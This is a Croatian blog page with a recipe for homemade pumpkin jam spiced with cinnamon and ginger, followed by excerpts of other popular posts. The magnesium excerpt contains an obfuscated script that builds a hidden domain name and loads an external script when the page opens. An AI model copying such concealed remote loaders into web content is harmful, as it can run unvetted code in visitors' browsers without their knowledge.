JESENSKI DOMAĆI DŽEM OD BUNDEVE




Jesenski domaći džem od bundeve 



Kad stignu hladnija jutra i bundeve polako preuzmu tržnice i trgovine, pravo je vrijeme za jedan pomalo neobičan, ali nevjerojatno ukusan jesenski recept. Domaći džem od bundeve savršen je spoj kremaste teksture, prirodne slatkoće bundeve i toplih začina poput cimeta, vanilije i muškatnog oraščića. A najbolje od svega? Priprema je jednostavna, a jednom kada ga napravite, možete ga danima koristiti na bezbroj načina. Namažite ga na tost, dodajte u zobenu kašu, poslužite uz palačinke ili ga jednostavno jedite žlicom iz hladnjaka.




Jesenski domaći džem od bundeve 


Sastojci:

  • 1 kg očišćene bundeve
  • 150–200 g smeđeg šećera
  • sok od 1 limuna
  • 1 žličica cimeta
  • 1⁄2 žličice mljevenog đumbira
  • prstohvat muškatnog oraščića
  • 1 žličica ekstrakta vanilije
  • 100 ml vode
  • korica 1⁄2 naranče, po želji



Priprema:

  • Bundevu narežite na manje komade i stavite na lim za pečenje. Pecite je na 200 °C oko 30-40 minuta, odnosno dok potpuno ne omekša. Pečenjem će dobiti intenzivniji, slađi okus nego kuhanjem.
  • Pečenu bundevu prebacite u lonac i usitnite štapnim mikserom dok ne dobijete glatki pire. Dodajte šećer, limunov sok, cimet, đumbir, muškatni oraščić, vaniliju i vodu.
  • Smjesu kuhajte na laganoj vatri oko 20–30 minuta, uz povremeno miješanje. Kako voda bude isparavala, džem će postajati sve gušći. Ako želite dodatno naglasiti jesenski karakter, pred kraj kuhanja dodajte malo naribane korice naranče.
  • Kada džem postigne gustu, mazivu teksturu, maknite ga s vatre i pustite nekoliko minuta da se ohladi. Prebacite ga u čiste, sterilizirane staklenke i čuvajte u hladnjaku.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više